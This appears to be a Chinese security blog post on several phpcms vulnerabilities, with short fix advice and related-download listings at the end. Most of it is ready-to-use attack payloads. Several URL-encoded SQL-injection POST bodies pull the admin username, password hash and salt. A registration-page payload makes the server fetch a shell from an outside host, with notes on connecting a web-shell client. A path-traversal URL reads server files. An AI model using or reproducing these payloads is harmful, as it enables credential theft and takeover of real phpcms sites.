`

phpcms漏洞

阅读更多

最近某位大牛说,将放出3个phpcms的0day漏洞,目前我所了解到的已经有2个phpcms漏洞被流传开来,并放出了poc。phpcms应用范围还是比较广的,在此记录分享一下几个最新的phpcms漏洞。

免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负

 

phpcms sql漏洞

Poc

存在sql注入漏洞的页面:
http://192.168.1.139:8080/phpcms/index.php?m=member&c=index&a=login
获取当前数据库,post:

1
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bdatabase())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

获取当前用户,post:

1
2
3
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95
获取表名:
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2btable_name%2bfrom%2binformation_schema.tables%2bwhere%2btable_schema='phpcmsv9'%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

若要获取其他表名,修改limit即可。
获取用户名:

1
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2busername%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

获取密码:

1
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bpassword%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

获取到的密码为30位的md5,一般的MD5是32位,所以我们需要再获取后2位:

1
orward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(substring((select%2bpassword%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c-2%252c2))%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

phpcms是加盐(salt)的,获取salt:

1
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bencrypt%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=验证码&dosubmit=%E7%99%BB%E5%BD%95

 

以上Poc来自:https://www.unhonker.com/bug/1834.html

exp漏洞利用脚本

exp利用脚本在这里不公开放出了,大家可以利用在线检测平台进行检测:https://www.seebug.org/monster/
exp脚本可以参考:https://www.waitalone.cn/phpcmsv9-authkey-exp.html
漏洞细节请参考:http://mp.weixin.qq.com/s/cI-wbQyX-3WLhxJ5kqez4A

漏洞修复方案

  • 去掉modules\content\down.php文件

phpcms注册页面getshell漏洞

  • 存在的漏洞:php远程文件包含、任意文件上传
  • 漏洞利用点:phpcms注册页面
  • 利用类型:http post请求导致任意文件上传+getshell

Post Poc

1
siteid=1&modelid=11&username=newbie&password=newbie&email=newbie@qq.com&info[content]=<img src=http://shhdmqz.com/newbie.txt?.php#.jpg>&dosubmit=1&protocol=

注意:http://shhdmqz.com/newbie.txt为远程服务器上的shell文件,这个漏洞利用了远程文件包含与文件上传漏洞。

漏洞利用细节

  访问注册页面发送post包,重构info字段内容,写入远程包含的文件地址《img src=http://shhdmqz.com/newbie.txt?.php#.jpg》,newbie.txt为文件名,?.php#.jpg为构造的文件名,为了绕过后缀名限制。回包将会有报错信息,但文件可以上传成功,且报错信息中含有上传的文件路径,可用菜刀链接。

exp漏洞利用脚本

exp利用脚本在这里不公开放出了,大家可以利用在线检测平台进行检测:https://www.seebug.org/monster/

漏洞修复方案

暂时性修复:

  • 关闭注册页面
  • 关闭远程文件包含,即关闭allow_url_fopen

彻底性修复:
修改phpcms/libs/classes/attachement.class.php文件中的download函数在
foreach($remotefileurls as $k=>$file)循环中,大约是167行左右的位置,将

1
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file);

 

修改成

1
$filename = fileext($k);

 

关于文件包含漏洞,可参考:文件包含漏洞

任意文件读取漏洞

1
index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php

phpcms敏感信息

分享到:
评论

相关推荐

    phpcms 漏洞处理过的系统.rar

    在修复phpcms漏洞时,可能需要检查HTML模板中的注入点,确保所有用户输入都被正确地转义或过滤,防止XSS攻击。 总的来说,这个“phpcms 漏洞处理过的系统”不仅包含了系统漏洞的修复,还考虑到了系统的整体安全性和...

    phpcmsv9最新利用工具

    《phpcmsV9系统安全与漏洞利用解析》 phpcmsV9是一款广泛应用的开源内容管理系统,以其强大的功能和易用性深受广大网站开发者喜爱。然而,随着系统的广泛使用,安全问题逐渐凸显,其中就包括了描述中提到的“phpcms...

    phpcms2008漏洞利用工具

    《phpcms2008漏洞利用工具详解及防范策略》 PHP CMS 2008是一款基于PHP语言和MySQL数据库的开源内容管理系统,因其功能强大、易于操作而在网站建设领域受到广泛应用。然而,随着技术的发展,软件的安全性问题也日益...

    phpcmsV9.6.3升级补丁漏洞修复代码功能二次开发补丁phpcms网站开发教程文档手册

    本压缩包包括多年积累的phpcms网站开发升级补丁,漏洞修复补丁。 其中包括教程文档: 后台安装过程中报错 弹出新窗口而不是新选项卡 浏览器不支持缩略图flash上传改H5 表单发送的邮件不显示表单内容 升级后台编辑器-...

    phpcms2008 yp/prodcut.php 代码执行漏洞 利用工具

    标题中的“phpcms2008 yp/prodcut.php 代码执行漏洞 利用工具”指的是一项关于PHP CMS系统phpcms v2008版本中的一个严重安全问题。描述中提到的“phpcms 2008 yp/product.php 文件pagesize参数没有过滤,导致执行...

    2010PHPCMS最新漏洞

    根据提供的信息,我们可以总结出以下关于“2010 PHPCMS最新漏洞”的详细知识点: ### 1. PHPCMS 2008 SP4 文件路径泄露漏洞 **影响版本:** - PHPCMS 2008 SP4_UTF8_100510 **漏洞描述:** 在`comment/down.php`...

    phpCMS阿里漏洞.doc

    《phpCMS阿里漏洞详解与补丁应用》 phpCMS,作为一个广泛应用的内容管理系统,其安全问题一直备受关注。本文将深入探讨阿里云ECS服务器上phpCMS v9版本中出现的各种注入漏洞,并提供相应的补丁解决方案。 首先,...

    PHPCMS V9专题模块注入漏洞的分析与修复方法

    ### PHPCMS V9专题模块注入漏洞的分析与修复方法 #### 一、漏洞背景介绍 PHPCMS V9是一款非常流行的开源内容管理系统(Content Management System, CMS),它提供了丰富的功能来帮助用户构建和管理网站。然而,即便...

    Phpcms X (原PHPCMS)长期维护版

    PHPCMS X 的重点是保留所有官方原版程序中各功能不变的基础上,进行了全面的安全漏洞修补、BUG修正、和部分代码的优化完善,使其能更安全稳定的运行于当前大部分服务器环境下; 同时我们提供长期持续稳定的程序更新...

    phpcms v9.6.0版本

    phpcms v9.6.0的getshell漏洞就是一个实例,它提醒我们在使用开源软件时,不仅要关注功能,还要时刻关注安全更新,及时修复可能存在的安全隐患。 针对这个问题,开发者和安全研究人员可以深入研究说明.htm、readme...

    代码审计_PHPCMS_V9前台RCE挖掘分析1

    代码审计_PHPCMS_V9前台RCE挖掘分析1

    phpcms(phpcms系统)

    保持phpcms更新至最新版本,可以避免已知的漏洞和兼容性问题。 总的来说,phpcms作为一款成熟的CMS系统,能够帮助企业或个人快速构建和管理网站,实现内容的高效发布和管理。其丰富的功能和强大的扩展性,使其在...

    phpcmsV9.6.3默认编辑器CKeditor升级最新版 - 含源码

    总结大全:含文章教程&&效果图对比、压缩包、代码文件等等。直接覆盖也可轻松完成全部设置。 phpcmsV9 完整更新ckeditor编辑器到最新版!

    phpcms自己整理的一些心得

    4. **版本更新**:定期关注phpcms官方更新,及时修复安全漏洞,升级新功能。 最后,关于分页修改,phpcms提供了灵活的分页API。在需要分页的地方,可以通过`$page`变量来实现。例如: ```php $page = $this-&gt;get_...

    PHPCMS V10 修改版

    4. 修改PHPCMS目录为CMS 5. 验证码修改 6. 支持H5上传,移除Flash上传 7. 修改后台缩略图裁切图片,移除Flash裁切改为H5裁切 8. 后台附件上传修改为H5上传,会员头像上传修改为H5上传 9. 修改后台界面,修改后台登录...

    PHPCMS_V9.2.5

    10. **安全性**:在V9.2.5版本中,PHPCMS可能会对一些已知的安全漏洞进行了修复,增强了系统的安全性。 11. **性能优化**:可能包括缓存机制的优化、数据库查询优化等,以提高网站的加载速度和响应时间。 12. **...

    PHPCMS V10 修改版 PHPCMS 去掉PHPSSO模块 PHP8 HTML5 JS

    4. 修改PHPCMS目录为CMS 5. 验证码修改 6. 支持H5上传,移除Flash上传 7. 修改后台缩略图裁切图片,移除Flash裁切改为H5裁切 8. 后台附件上传修改为H5上传,会员头像上传修改为H5上传 9. 修改后台界面,修改后台登录...

    phpcms_9.5.1_index.php_远程代码执行漏洞(利用工具)

    phpcms_9.5.1_index.php_远程代码执行漏洞(利用工具)

    phpcms v9安全检测api漏洞修改方法

    360提示Phpcms v9存在API漏洞,通常是因为API接口没有正确处理用户输入,可能导致跨站脚本攻击或数据泄露。跨站脚本攻击允许攻击者通过注入恶意脚本到网页,从而控制或窃取用户的浏览器会话。在这种情况下,360的...

    PHPCMS-2008远程代码执行1

    PHPCMS-2008远程代码执行漏洞详解 PHPCMS是一款基于PHP语言开发的内容管理系统,广泛应用于网站构建。然而,该系统在2008版本中存在一个严重的远程代码执行(RCE)漏洞,被命名为CVE-2018-19127。这个漏洞允许攻击...

Global site tag (gtag.js) - Google Analytics